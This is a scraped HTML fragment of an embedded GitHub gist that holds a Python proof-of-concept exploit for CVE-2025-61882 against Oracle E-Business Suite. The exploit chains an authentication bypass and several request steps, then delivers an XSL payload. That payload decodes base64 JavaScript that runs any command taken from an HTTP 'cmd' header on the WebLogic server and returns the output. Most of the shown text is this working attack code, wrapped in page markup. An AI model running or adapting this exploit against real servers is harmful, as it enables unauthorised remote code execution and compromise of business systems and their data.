data-line-number=\&quot;376\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC376\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>sid</span> <span class=pl-c1>=</span> <span class=pl-en>auth_bypass</span>(<span class=pl-s1>url</span>, <span class=pl-s1>username</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L377\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;377\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC377\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>sid</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L378\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;378\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC378\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>cookies</span> <span class=pl-c1>=</span> <span class=pl-en>get_cookies</span>(<span class=pl-s1>url</span>, <span class=pl-s1>sid</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L379\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;379\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC379\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s1>cookies</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L380\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;380\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC380\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-c1>COOKIES</span>.<span class=pl-c1>update</span>(<span class=pl-s1>cookies</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L381\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;381\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC381\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>html1</span> <span class=pl-c1>=</span> <span class=pl-en>step_1</span>(<span class=pl-s1>url</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L382\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;382\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC382\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>if</span> <span class=pl-s1>html1</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L383\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;383\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC383\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>html2</span> <span class=pl-c1>=</span> <span class=pl-en>step_2</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L384\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;384\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC384\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-k>if</span> <span class=pl-s1>html2</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L385\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;385\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC385\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                        <span class=pl-s1>html3</span> <span class=pl-c1>=</span> <span class=pl-en>step_3</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html2</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L386\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;386\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC386\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                        <span class=pl-k>if</span> <span class=pl-s1>html3</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L387\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;387\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC387\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                            <span class=pl-en>step_4</span>(<span class=pl-s1>url</span>,<span class=pl-s1>html3</span>)    </td>\n        </tr>\n  </table>\n</div>\n\n\n    </div>\n\n  </div>\n</div>\n\n      </div>\n      <div class=\&quot;gist-meta\&quot;>\n        <a href=\&quot;https://gist.github.com/testanull/a897473577b8650932221172e50304ce/raw/4fc306d2f6ae6a88664f43faf57e5bf2779ade9b/EBS_CVE-2025-61882_poc.py\&quot; style=\&quot;float:right\&quot; class=\&quot;Link--inTextBlock\&quot;>view raw</a>\n        <a href=\&quot;https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py\&quot; class=\&quot;Link--inTextBlock\&quot;>\n          EBS_CVE-2025-61882_poc.py\n        </a>\n        hosted with &amp;#10084; by <a class=\&quot;Link--inTextBlock\&quot; href=\&quot;https://github.com\&quot;>GitHub</a>\n      </div>\n    </div>\n</div>\n&quot;,&quot;stylesheet&quot;:&quot;https://github.githubassets.com/assets/gist-embed-68783a026c0c.css&quot;}" data-component-name="GitgistToDOM"><link rel="stylesheet" href="https://github.githubassets.com/assets/gist-embed-68783a026c0c.css"><div id="gist144648680" class="gist">
    <div class="gist-file" data-color-mode="light" data-light-theme="light">
      <div class="gist-data">
        <div class="js-gist-file-update-container js-task-list-container">
  <div id="file-ebs_cve-2025-61882_poc-py" class="file my-2">
    
    <div itemprop="text" class="Box-body p-0 blob-wrapper data type-python  " style="overflow:auto">

        
<div class="js-check-hidden-unicode js-blob-code-container blob-code-content">

  
  <div data-view-component="true" class="flash flash-warn flash-full d-flex flex-items-center">
  
    

    <span>
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      <a class="Link--inTextBlock" href="https://github.co/hiddenchars" target="_blank">Learn more about bidirectional Unicode characters</a>
    </span>


  <div data-view-component="true" class="flash-action">        <a href="{{ revealButtonHref }}" data-view-component="true" class="btn-sm btn">    Show hidden characters
</a>
</div>
</div>

  <span data-view-component="true" class="line-alert tooltipped tooltipped-e">
    
    

</span>

  <table data-hpc="" class="highlight tab-size js-file-line-container" data-tab-size="4" data-paste-markdown-skip="" data-tagsearch-path="EBS_CVE-2025-61882_poc.py">
        <tbody><tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L1" class="blob-num js-line-number js-blob-rnum" data-line-number="1"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC1" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">requests</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L2" class="blob-num js-line-number js-blob-rnum" data-line-number="2"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC2" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-s1">bs4</span> <span class="pl-k">import</span> <span class="pl-v">BeautifulSoup</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L3" class="blob-num js-line-number js-blob-rnum" data-line-number="3"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC3" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">re</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L4" class="blob-num js-line-number js-blob-rnum" data-line-number="4"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC4" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">random</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L5" class="blob-num js-line-number js-blob-rnum" data-line-number="5"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC5" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">base64</span> <span class="pl-k">as</span> <span class="pl-v">Base64</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L6" class="blob-num js-line-number js-blob-rnum" data-line-number="6"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC6" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">xml</span>.<span class="pl-s1">etree</span>.<span class="pl-v">ElementTree</span> <span class="pl-k">as</span> <span class="pl-c1">ET</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L7" class="blob-num js-line-number js-blob-rnum" data-line-number="7"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC7" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">urllib</span>.<span class="pl-s1">parse</span> <span class="pl-k">as</span> <span class="pl-s1">urlparse</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L8" class="blob-num js-line-number js-blob-rnum" data-line-number="8"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC8" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-s1">urllib</span>.<span class="pl-s1">parse</span> <span class="pl-k">import</span> <span class="pl-s1">unquote</span>, <span class="pl-s1">parse_qs</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L9" class="blob-num js-line-number js-blob-rnum" data-line-number="9"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC9" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L10" class="blob-num js-line-number js-blob-rnum" data-line-number="10"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC10" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">COOKIES</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L11" class="blob-num js-line-number js-blob-rnum" data-line-number="11"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC11" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"JSESSIONID"</span>: <span class="pl-s">"abc"</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L12" class="blob-num js-line-number js-blob-rnum" data-line-number="12"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC12" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"EBSDB"</span>: <span class="pl-s">"def"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L13" class="blob-num js-line-number js-blob-rnum" data-line-number="13"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC13" class="blob-code blob-code-inner js-file-line">}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L14" class="blob-num js-line-number js-blob-rnum" data-line-number="14"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC14" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L15" class="blob-num js-line-number js-blob-rnum" data-line-number="15"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC15" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">HEADERS</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L16" class="blob-num js-line-number js-blob-rnum" data-line-number="16"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC16" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"User-Agent"</span>: <span class="pl-s">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L17" class="blob-num js-line-number js-blob-rnum" data-line-number="17"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC17" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"Content-Type"</span>: <span class="pl-s">"application/x-www-form-urlencoded"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L18" class="blob-num js-line-number js-blob-rnum" data-line-number="18"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC18" class="blob-code blob-code-inner js-file-line">    }</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L19" class="blob-num js-line-number js-blob-rnum" data-line-number="19"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC19" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L20" class="blob-num js-line-number js-blob-rnum" data-line-number="20"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC20" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">TEMPLATE_NAME</span> <span class="pl-c1">=</span> <span class="pl-s">"Template"</span> <span class="pl-c1">+</span> <span class="pl-en">str</span>(<span class="pl-s1">random</span>.<span class="pl-c1">randint</span>(<span class="pl-c1">1000</span>, <span class="pl-c1">9999</span>))</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L21" class="blob-num js-line-number js-blob-rnum" data-line-number="21"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC21" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L22" class="blob-num js-line-number js-blob-rnum" data-line-number="22"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC22" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">PROXY</span> <span class="pl-c1">=</span> {<span class="pl-s">"http"</span>: <span class="pl-s">"http://127.0.0.1:8089"</span>, <span class="pl-s">"https"</span>: <span class="pl-s">"http://127.0.0.1:8089"</span>}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L23" class="blob-num js-line-number js-blob-rnum" data-line-number="23"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC23" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L24" class="blob-num js-line-number js-blob-rnum" data-line-number="24"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC24" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">XSL_PAYLOAD</span> <span class="pl-c1">=</span> <span class="pl-s">'''&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L25" class="blob-num js-line-number js-blob-rnum" data-line-number="25"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC25" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;xsl:stylesheet version="1.0"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L26" class="blob-num js-line-number js-blob-rnum" data-line-number="26"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC26" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L27" class="blob-num js-line-number js-blob-rnum" data-line-number="27"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC27" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L28" class="blob-num js-line-number js-blob-rnum" data-line-number="28"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC28" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L29" class="blob-num js-line-number js-blob-rnum" data-line-number="29"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC29" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L30" class="blob-num js-line-number js-blob-rnum" data-line-number="30"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC30" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L31" class="blob-num js-line-number js-blob-rnum" data-line-number="31"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC31" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L32" class="blob-num js-line-number js-blob-rnum" data-line-number="32"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC32" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;xsl:template match="/"&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L33" class="blob-num js-line-number js-blob-rnum" data-line-number="33"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC33" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'dmFyIGUgPSAnJzsKdmFyIG91dHB1dCA9ICIiOwoKdHJ5IHsKICAgIHZhciB0aHJlYWQgPSBqYXZhLmxhbmcuVGhyZWFkLmN1cnJlbnRUaHJlYWQoKTsKICAgIHZhciBjdHhMb2FkZXIgPSB0aHJlYWQuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCk7CiAgICB2YXIgZXhlY3V0ZVRocmVhZENscyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJ3ZWJsb2dpYy53b3JrLkV4ZWN1dGVUaHJlYWQiLCB0cnVlLCBjdHhMb2FkZXIpOwogICAgdmFyIHNlcnZsZXRSZXNwb25zZUltcGxDbHMgPSBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgid2VibG9naWMuc2VydmxldC5pbnRlcm5hbC5TZXJ2bGV0UmVzcG9uc2VJbXBsIiwgdHJ1ZSwgY3R4TG9hZGVyKTsKICAgICAgICB2YXIgYWRhcHRlciA9IGV4ZWN1dGVUaHJlYWRDbHMuY2FzdCh0aHJlYWQpLmdldEN1cnJlbnRXb3JrKCk7CiAgICB2YXIgcmVzOwogICAgdmFyIHJlcTsKICAgIGlmIChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TmFtZSgpLmVuZHNXaXRoKCJTZXJ2bGV0UmVxdWVzdEltcGwiKSkgewogICAgICAgIHJlcyA9IHNlcnZsZXRSZXNwb25zZUltcGxDbHMuY2FzdChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIpLmludm9rZShhZGFwdGVyKSk7CiAgICAgICAgcmVxID0gYWRhcHRlcjsgCiAgICB9IGVsc2UgewogICAgICAgIHZhciBmaWVsZCA9IGFkYXB0ZXIuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJjb25uZWN0aW9uSGFuZGxlciIpOwogICAgICAgIGZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CiAgICAgICAgdmFyIG9iaiA9IGZpZWxkLmdldChhZGFwdGVyKTsKICAgICAgICByZXEgPSBvYmouZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImdldFNlcnZsZXRSZXF1ZXN0IikuaW52b2tlKG9iaik7CiAgICAgICAgcmVzID0gc2VydmxldFJlc3BvbnNlSW1wbENscy5jYXN0KHJlcS5nZXRDbGFzcygpLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiKS5pbnZva2UocmVxKSk7CiAgICB9CgogCiAgICB2YXIgY21kID0gcmVxLmdldEhlYWRlcigiY21kIik7CiAgICBpZiAoY21kKSB7CiAgICAgICAgdmFyIHByb2MgPSBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpOwogICAgICAgIHZhciBpcyA9IHByb2MuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAKICAgICAgICB2YXIgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihpcykudXNlRGVsaW1pdGVyKCJcXEEiKTsKICAgICAgICBvdXRwdXQgPSBzLmhhc05leHQoKSA/IHMubmV4dCgpIDogIiI7CiAgICAgICAgCiAgICAgICAgaWYgKG91dHB1dC5sZW5ndGgoKSA8IDEpIHsKICAgICAgICAgICAgdmFyIGVzID0gcHJvYy5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB2YXIgc2UgPSBuZXcgamF2YS51dGlsLlNjYW5uZXIoZXMpLnVzZURlbGltaXRlcigiXFxBIik7CiAgICAgICAgICAgIG91dHB1dCA9IHNlLmhhc05leHQoKSA/IHNlLm5leHQoKSA6ICIiOwogICAgICAgIH0KCiAgICAgICAgcmVzLmdldFNlcnZsZXRPdXRwdXRTdHJlYW0oKS53cml0ZShuZXcgamF2YS5sYW5nLlN0cmluZyhvdXRwdXQpLmdldEJ5dGVzKCkpOwogICAgICAgIHJlcy5nZXRTZXJ2bGV0T3V0cHV0U3RyZWFtKCkuZmx1c2goKTsKICAgICAgICByZXMuZ2V0V3JpdGVyKCkuY2xvc2UoKTsKICAgICAgICByZXMuZ2V0U2VydmxldE91dHB1dFN0cmVhbSgpLmNsb3NlKCk7CiAgICAgICAgCiAgICB9Cgp9IGNhdGNoIChlcnJvcikgewogICAgCn0=')" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L34" class="blob-num js-line-number js-blob-rnum" data-line-number="34"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC34" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="js" select="str:new($bs)" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L35" class="blob-num js-line-number js-blob-rnum" data-line-number="35"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC35" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="m" select="jsm:new()" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L36" class="blob-num js-line-number js-blob-rnum" data-line-number="36"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC36" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L37" class="blob-num js-line-number js-blob-rnum" data-line-number="37"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC37" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="result" select="eng:eval($e, $js)" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L38" class="blob-num js-line-number js-blob-rnum" data-line-number="38"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC38" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:value-of select="$result" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L39" class="blob-num js-line-number js-blob-rnum" data-line-number="39"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC39" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;/xsl:template&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L40" class="blob-num js-line-number js-blob-rnum" data-line-number="40"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC40" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L41" class="blob-num js-line-number js-blob-rnum" data-line-number="41"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC41" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;/xsl:stylesheet&gt;'''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L42" class="blob-num js-line-number js-blob-rnum" data-line-number="42"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC42" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L43" class="blob-num js-line-number js-blob-rnum" data-line-number="43"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC43" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">check</span>(<span class="pl-s1">url</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L44" class="blob-num js-line-number js-blob-rnum" data-line-number="44"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC44" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L45" class="blob-num js-line-number js-blob-rnum" data-line-number="45"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC45" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"[*] Checking if target <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span> is vulnerable..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L46" class="blob-num js-line-number js-blob-rnum" data-line-number="46"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC46" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">get</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/SyncServlet"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L47" class="blob-num js-line-number js-blob-rnum" data-line-number="47"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC47" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"Oracle Common Applications Calendar Synchronization Server is Alive"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L48" class="blob-num js-line-number js-blob-rnum" data-line-number="48"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC48" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">f"[+] Target seems vulnerable!"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L49" class="blob-num js-line-number js-blob-rnum" data-line-number="49"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC49" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-c1">True</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L50" class="blob-num js-line-number js-blob-rnum" data-line-number="50"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC50" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Target seems not vulnerable"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L51" class="blob-num js-line-number js-blob-rnum" data-line-number="51"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC51" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">False</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L52" class="blob-num js-line-number js-blob-rnum" data-line-number="52"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC52" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-s1">requests</span>.<span class="pl-c1">RequestException</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L53" class="blob-num js-line-number js-blob-rnum" data-line-number="53"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC53" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Something went wrong. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L54" class="blob-num js-line-number js-blob-rnum" data-line-number="54"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC54" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">False</span></td>
        </tr>
        <tr>
